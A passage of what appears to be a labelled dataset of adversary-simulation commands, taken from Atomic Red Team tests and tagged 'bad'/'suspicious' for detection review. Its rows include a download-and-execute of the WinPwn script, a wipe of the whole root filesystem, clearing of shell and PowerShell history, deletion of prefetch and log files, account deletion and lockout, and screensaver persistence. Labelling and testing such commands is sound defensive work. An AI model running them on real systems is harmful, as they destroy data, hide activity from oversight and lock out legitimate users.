https://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ca5544410cf7e43af2d9550,net share ADMIN$ /UNLIMITED >nul 2>&1 net share C$=C:\ >nul 2>&1 net share IPC$ >nul 2>&1,net share ADMIN$ /UNLIMITED >nul 2>&1 net share C$=C:\ >nul 2>&1 net share IPC$ >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.005/T1070.005.yaml,Remove Administrative Shares,T1070.005,"[""T1070.005""]",windows,0.55,True,"Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators 
remote access to every disk volume on a network-connected system. As Microsoft puts it, “Missing administrative shares typically 
indicate that the computer in question has been compromised by malicious software.
https://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7a3ee792a56463b0507be611,"Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt $Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt @($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne """" } |Set-Content $env:TEMP\T1120_collection.txt","Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt $Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt @($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne """" } |Set-Content $env:TEMP\T1120_collection.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1120/T1120.yaml,Win32_PnPEntity Hardware Inventory,T1120,"[""T1120""]",windows,0.9,False,Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ef1db14eb5b70dbdcc272eb6,Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore,Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1120/T1120.yaml,Win32_PnPEntity Hardware Inventory,T1120,"[""T1120""]",windows,0.55,True,Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2b5ece104c7a4543904a4577,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') printercheck -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') printercheck -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1120/T1120.yaml,WinPwn - printercheck,T1120,"[""T1120""]",windows,0.9,False,Search for printers / potential vulns using printercheck function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20c86e6e44dfc1b208a4ea8c,fsutil fsinfo drives,fsutil fsinfo drives,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1120/T1120.yaml,Peripheral Device Discovery via fsutil,T1120,"[""T1120""]",windows,0.9,False,Performs pheripheral device discovery utilizing fsutil to list all drives.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d73ea8dde8fc51c57a6c037e,rm -f #{file_to_delete},rm -f #{file_to_delete},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete a single file - FreeBSD/Linux/macOS,T1070.004,"[""T1070.004""]","linux,macos",0.9,False,"Delete a single file from the temporary directory
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2d2f06cee66c62814c56efc9,rm -rf #{parent_folder},rm -rf #{parent_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete a single file - FreeBSD/Linux/macOS,T1070.004,"[""T1070.004""]","linux,macos",0.55,True,"Delete a single file from the temporary directory
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
38a77bda3b4fda3e795fc0b0,rm -rf #{folder_to_delete},rm -rf #{folder_to_delete},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete an entire folder - FreeBSD/Linux/macOS,T1070.004,"[""T1070.004""]","linux,macos",0.9,False,"Recursively delete the temporary directory and all files contained within it
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d7dfdff576629feec3e9a653,shred -u #{file_to_shred},shred -u #{file_to_shred},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Overwrite and delete a file with shred,T1070.004,"[""T1070.004""]",linux,0.9,False,"Use the `shred` command to overwrite the temporary file and then delete it
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5b2b21df55431e739fce7a60,del /f #{file_to_delete},del /f #{file_to_delete},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete a single file - Windows cmd,T1070.004,"[""T1070.004""]",windows,0.9,False,"Delete a single file from the temporary directory using cmd.exe.
Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cefbf37a8e0ab7db2804967f,rmdir /s /q #{folder_to_delete},rmdir /s /q #{folder_to_delete},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete an entire folder - Windows cmd,T1070.004,"[""T1070.004""]",windows,0.9,False,"Recursively delete a folder in the temporary directory using cmd.exe.
Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc56a0c94d63671d12d7f327,Remove-Item -path #{file_to_delete},Remove-Item -path #{file_to_delete},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete a single file - Windows PowerShell,T1070.004,"[""T1070.004""]",windows,0.9,False,"Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
997d79b61411e79758143154,Remove-Item -Path #{folder_to_delete} -Recurse,Remove-Item -Path #{folder_to_delete} -Recurse,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete an entire folder - Windows PowerShell,T1070.004,"[""T1070.004""]",windows,0.9,False,"Recursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5fa2967511478a97b8e0661e,"[ ""$(uname)"" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null","[ ""$(uname)"" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete Filesystem - Linux,T1070.004,"[""T1070.004""]",linux,0.9,False,"This test deletes the entire root filesystem of a Linux system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4eb68e4941f04722357b0518,"Remove-Item -Path (Join-Path ""$Env:SystemRoot\prefetch\"" (Get-ChildItem -Path ""$Env:SystemRoot\prefetch\*.pf"" -Name)[0])","Remove-Item -Path (Join-Path ""$Env:SystemRoot\prefetch\"" (Get-ChildItem -Path ""$Env:SystemRoot\prefetch\*.pf"" -Name)[0])",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete Prefetch File,T1070.004,"[""T1070.004""]",windows,0.9,False,"Delete a single prefetch file.  Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run `(Get-ChildItem -Path ""$Env:SystemRoot\prefetch\*.pf"" | Measure-Object).Count`
before and after the test to verify that the number of prefetch files decreases by 1.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a9f706a4e8de5faabf845ef,New-Item -Path #{teamviewer_log_file} -Force | Out-Null Remove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore,New-Item -Path #{teamviewer_log_file} -Force | Out-Null Remove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Delete TeamViewer Log Files,T1070.004,"[""T1070.004""]",windows,0.9,False,"Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration.
This test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer
log file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.

https://twitter.com/SBousseaden/status/1197524463304290305?s=20
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9100035ff80b66eae96904f4,rd /s /q %systemdrive%\$RECYCLE.BIN,rd /s /q %systemdrive%\$RECYCLE.BIN,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.004/T1070.004.yaml,Clears Recycle bin via rd,T1070.004,"[""T1070.004""]",windows,0.9,False,"An adversary clears the recycle bin in the system partition using rd to remove traces of deleted files.
[Reference](https://thedfirreport.com/2024/08/12/threat-actors-toolkit-leveraging-sliver-poshc2-batch-scripts/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
25e15d1173be8c0b85f050a2,rm #{history_path},rm #{history_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear Bash history (rm),T1070.003,"[""T1070.003""]","linux,macos",0.9,False,"Clears bash history via rm
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b0db96150f91d9fb39409f6,"echo """" > #{history_path}","echo """" > #{history_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear Bash history (echo),T1070.003,"[""T1070.003""]",linux,0.9,False,"Clears bash history via echo
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ecb50c19a543b52150fbd56d,cat /dev/null > #{history_path},cat /dev/null > #{history_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear Bash history (cat dev/null),T1070.003,"[""T1070.003""]","linux,macos",0.9,False,"Clears bash history via cat /dev/null
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
592df0beed4f7291e651344b,ln -sf /dev/null #{history_path},ln -sf /dev/null #{history_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear Bash history (ln dev/null),T1070.003,"[""T1070.003""]","linux,macos",0.9,False,"Clears bash history via a symlink to /dev/null
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a2e627f02a8e941c8e6615b0,truncate -s0 #{history_path},truncate -s0 #{history_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear Bash history (truncate),T1070.003,"[""T1070.003""]",linux,0.9,False,"Clears bash history via truncate
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6cf116bb2bb628c0cf51e15c,unset HISTFILE export HISTFILESIZE=0 history -c,unset HISTFILE export HISTFILESIZE=0 history -c,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear history of a bunch of shells,T1070.003,"[""T1070.003""]","linux,macos",0.9,False,"Clears the history of a bunch of different shell types by setting the history size to zero
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
247ac769c23cbf0a424f6298,set +o history echo 'set +o history' >> ~/.bashrc . ~/.bashrc history -c,set +o history echo 'set +o history' >> ~/.bashrc . ~/.bashrc history -c,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear and Disable Bash History Logging,T1070.003,"[""T1070.003""]","linux,macos",0.9,False,"Clears the history and disable bash history logging of the current shell and future shell sessions
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4d2f4ccf90860c74115dbe9,sed -i 's/set +o history//g' ~/.bashrc . ~/.bashrc set -o history,sed -i 's/set +o history//g' ~/.bashrc . ~/.bashrc set -o history,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear and Disable Bash History Logging,T1070.003,"[""T1070.003""]","linux,macos",0.55,True,"Clears the history and disable bash history logging of the current shell and future shell sessions
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5cf28609c96482a2d506c078,hostname whoami,hostname whoami,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Use Space Before Command to Avoid Logging to History,T1070.003,"[""T1070.003""]","linux,macos",0.9,False,"Using a space before a command causes the command to not be logged in the Bash History file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58187b71a19ff3d2b41bb7a4,sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname,sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Disable Bash History Logging with SSH -T,T1070.003,"[""T1070.003""]",linux,0.9,False,"Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c2fcdf6a8da8ee9a11e6871,"[ ""$(uname)"" = 'FreeBSD' ] && rmuser -y testuser1 || userdel -f testuser1","[ ""$(uname)"" = 'FreeBSD' ] && rmuser -y testuser1 || userdel -f testuser1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Disable Bash History Logging with SSH -T,T1070.003,"[""T1070.003""]",linux,0.55,True,"Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2b2307d851d1fdbe7bae3234,docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log,docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear Docker Container Logs,T1070.003,"[""T1070.003""]",linux,0.9,False,"Clears Docker container logs using the Docker CLI and the truncate command, removing all log entries.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
98cc055b5e656d4984cbf933,Set-PSReadlineOption -HistorySaveStyle SaveNothing,Set-PSReadlineOption -HistorySaveStyle SaveNothing,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Prevent Powershell History Logging,T1070.003,"[""T1070.003""]",windows,0.9,False,"Prevents Powershell history
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af0ab34738e7032cad523335,Set-PSReadLineOption -HistorySaveStyle SaveIncrementally,Set-PSReadLineOption -HistorySaveStyle SaveIncrementally,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Prevent Powershell History Logging,T1070.003,"[""T1070.003""]",windows,0.55,True,"Prevents Powershell history
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a474abc84013d44dbb8ffdfb,Remove-Item (Get-PSReadlineOption).HistorySavePath,Remove-Item (Get-PSReadlineOption).HistorySavePath,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Clear Powershell History by Deleting History File,T1070.003,"[""T1070.003""]",windows,0.9,False,"Clears Powershell history
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7e2a73cb039b8e998b9a6412,Set-PSReadLineOption -AddToHistoryHandler { return $false },Set-PSReadLineOption -AddToHistoryHandler { return $false },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Set Custom AddToHistoryHandler to Avoid History File Logging,T1070.003,"[""T1070.003""]",windows,0.9,False,"The ""AddToHistoryHandler"" receives the current command as the $line variable and then returns $true if 
the line should be written to the history file. Here we simply return $false so nothing gets added to 
the history file for the current session. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1bb9143bed025a96c5bf4cbc,Set-PSReadLineOption -AddToHistoryHandler $null,Set-PSReadLineOption -AddToHistoryHandler $null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.003/T1070.003.yaml,Set Custom AddToHistoryHandler to Avoid History File Logging,T1070.003,"[""T1070.003""]",windows,0.55,True,"The ""AddToHistoryHandler"" receives the current command as the $line variable and then returns $true if 
the line should be written to the history file. Here we simply return $false so nothing gets added to 
the history file for the current session. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c88cb5aaa66d5a9f69a4e82f,net user #{user_account} #{new_user_password} /add net.exe user #{user_account} #{new_password},net user #{user_account} #{new_user_password} /add net.exe user #{user_account} #{new_password},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Change User Password - Windows,T1531,"[""T1531""]",windows,0.9,False,"Changes the user password to hinder access attempts. Seen in use by LockerGoga. Upon execution, log into the user account ""AtomicAdministrator"" with
the password ""HuHuHUHoHo283283"".
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
161ae8e17e7c463fe46fb819,net.exe user #{user_account} /delete >nul 2>&1,net.exe user #{user_account} /delete >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Change User Password - Windows,T1531,"[""T1531""]",windows,0.55,True,"Changes the user password to hinder access attempts. Seen in use by LockerGoga. Upon execution, log into the user account ""AtomicAdministrator"" with
the password ""HuHuHUHoHo283283"".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1cee8289b9300d68dc48dc19,net user #{user_account} #{new_user_password} /add net.exe user #{user_account} /delete,net user #{user_account} #{new_user_password} /add net.exe user #{user_account} /delete,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Delete User - Windows,T1531,"[""T1531""]",windows,0.9,False,"Deletes a user account to prevent access. Upon execution, run the command ""net user"" to verify that the new ""AtomicUser"" account was deleted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e11aa427b63f8d8814edf98b,"$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord if((Get-ADUser #{remove_user} -Properties memberof).memberof -like ""CN=Domain Admins*""){ Remove-ADGroupMember -Identity ""Domain Admins"" -Members #{remove_user} -Credential $Credential -Confirm:$False } else{ write-host ""Error - Make sure #{remove_user} is in the domain admins group"" -foregroundcolor Red }","$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord if((Get-ADUser #{remove_user} -Properties memberof).memberof -like ""CN=Domain Admins*""){ Remove-ADGroupMember -Identity ""Domain Admins"" -Members #{remove_user} -Credential $Credential -Confirm:$False } else{ write-host ""Error - Make sure #{remove_user} is in the domain admins group"" -foregroundcolor Red }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Remove Account From Domain Admin Group,T1531,"[""T1531""]",windows,0.9,False,"This test will remove an account from the domain admins group
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4fbb47e0f956859e38a09d93,passwd #{user_account} #enter admin password > enter new password > confirm new password,passwd #{user_account} #enter admin password > enter new password > confirm new password,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Change User Password via passwd,T1531,"[""T1531""]","macos,linux",0.9,False,"This test changes the user password to hinder access to the account using passwd utility.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
39a1f44a17c004cbc5127b85,dscl . -delete /Users/#{user_account} #enter admin password,dscl . -delete /Users/#{user_account} #enter admin password,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Delete User via dscl utility,T1531,"[""T1531""]",macos,0.9,False,"This test deletes the user account using the dscl utility.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4b32f9f7decc549a59879bc,dscl . -create /Users/#{user_account} #enter admin password dscl . -create /Users/#{user_account} UserShell /bin/bash dscl . -create /Users/#{user_account} UniqueID 503 dscl . -create /Users/#{user_account} NFSHomeDirectory /Users/#{user_account} dscl . -passwd /Users/#{user_account} #{user_password} #enter password for new user,dscl . -create /Users/#{user_account} #enter admin password dscl . -create /Users/#{user_account} UserShell /bin/bash dscl . -create /Users/#{user_account} UniqueID 503 dscl . -create /Users/#{user_account} NFSHomeDirectory /Users/#{user_account} dscl . -passwd /Users/#{user_account} #{user_password} #enter password for new user,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Delete User via dscl utility,T1531,"[""T1531""]",macos,0.55,True,"This test deletes the user account using the dscl utility.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
77bce789c56f3695576bb16a,sysadminctl -deleteUser #{user_account} #enter admin password,sysadminctl -deleteUser #{user_account} #enter admin password,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Delete User via sysadminctl utility,T1531,"[""T1531""]",macos,0.9,False,"This test deletes the user account using the sysadminctl utility.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4778a9cb8c5eb70157a7e664,"sysadminctl -addUser #{user_account} -fullName ""#{user_name}"" -password #{user_password}","sysadminctl -addUser #{user_account} -fullName ""#{user_name}"" -password #{user_password}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Delete User via sysadminctl utility,T1531,"[""T1531""]",macos,0.55,True,"This test deletes the user account using the sysadminctl utility.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
90c66a99f2f68e3973115c8c,"Connect-AzureAD $userprincipalname = ""#{userprincipalname}"" Remove-AzureADUser -ObjectId $userprincipalname","Connect-AzureAD $userprincipalname = ""#{userprincipalname}"" Remove-AzureADUser -ObjectId $userprincipalname",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Azure AD - Delete user via Azure AD PowerShell,T1531,"[""T1531""]",azure-ad,0.9,False,"Deletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00235e3a451cf107c185794a,"az login $userprincipalname = ""#{userprincipalname}"" az ad user delete --id $userprincipalname","az login $userprincipalname = ""#{userprincipalname}"" az ad user delete --id $userprincipalname",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1531/T1531.yaml,Azure AD - Delete user via Azure CLI,T1531,"[""T1531""]",azure-ad,0.9,False,"Deletes a user in Azure AD. Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (excluding changed credentials) to remove access to accounts.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff6d17b7b45221daad0985c5,"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} ""#{input_file}""","C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} ""#{input_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.004/T1027.004.yaml,Compile After Delivery using csc.exe,T1027.004,"[""T1027.004""]",windows,0.9,False,"Compile C# code using csc.exe binary used by .NET
Upon execution an exe named T1027.004.exe will be placed in the temp folder
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05110288948e47270c972ab4,del #{output_file} >nul 2>&1,del #{output_file} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.004/T1027.004.yaml,Compile After Delivery using csc.exe,T1027.004,"[""T1027.004""]",windows,0.55,True,"Compile C# code using csc.exe binary used by .NET
Upon execution an exe named T1027.004.exe will be placed in the temp folder
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1af5940326ee7d14ef7a77e1,"Invoke-Expression ""#{input_file}""","Invoke-Expression ""#{input_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.004/T1027.004.yaml,Dynamic C# Compile,T1027.004,"[""T1027.004""]",windows,0.9,False,"When C# is compiled dynamically, a .cmdline file will be created as a part of the process. 
Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.
The exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.
Upon execution, the exe will print 'T1027.004 Dynamic Compile'.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1cc9f2a62d3aa882b7a0de35,gcc #{input_file} && ./a.out clang #{input_file} && ./a.out,gcc #{input_file} && ./a.out clang #{input_file} && ./a.out,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.004/T1027.004.yaml,C compile,T1027.004,"[""T1027.004""]","linux,macos",0.9,False,"Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
34b9f84c6011292f4afb8442,g++ #{input_file} && ./a.out clang++ #{input_file} && ./a.out,g++ #{input_file} && ./a.out clang++ #{input_file} && ./a.out,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.004/T1027.004.yaml,CC compile,T1027.004,"[""T1027.004""]","linux,macos",0.9,False,"Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ac308b557f6e29c89ae2689,go run #{input_file},go run #{input_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.004/T1027.004.yaml,Go compile,T1027.004,"[""T1027.004""]","linux,macos",0.9,False,"Compile a go file with golang on FreeBSD, Linux or Macos.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f4abc2225b239845288095e9,"reg export ""HKEY_CURRENT_USER\Control Panel\Desktop"" %userprofile%\backup.reg copy #{input_binary} ""%SystemRoot%\System32\evilscreensaver.scr"" reg.exe add ""HKEY_CURRENT_USER\Control Panel\Desktop"" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add ""HKEY_CURRENT_USER\Control Panel\Desktop"" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add ""HKEY_CURRENT_USER\Control Panel\Desktop"" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add ""HKEY_CURRENT_USER\Control Panel\Desktop"" /v SCRNSAVE.EXE /t REG_SZ /d ""%SystemRoot%\System32\evilscreensaver.scr"" /f if #{reboot} NEQ 0 shutdown /r /t 0","reg export ""HKEY_CURRENT_USER\Control Panel\Desktop"" %userprofile%\backup.reg copy #{input_binary} ""%SystemRoot%\System32\evilscreensaver.scr"" reg.exe add ""HKEY_CURRENT_USER\Control Panel\Desktop"" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add ""HKEY_CURRENT_USER\Control Panel\Desktop"" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add 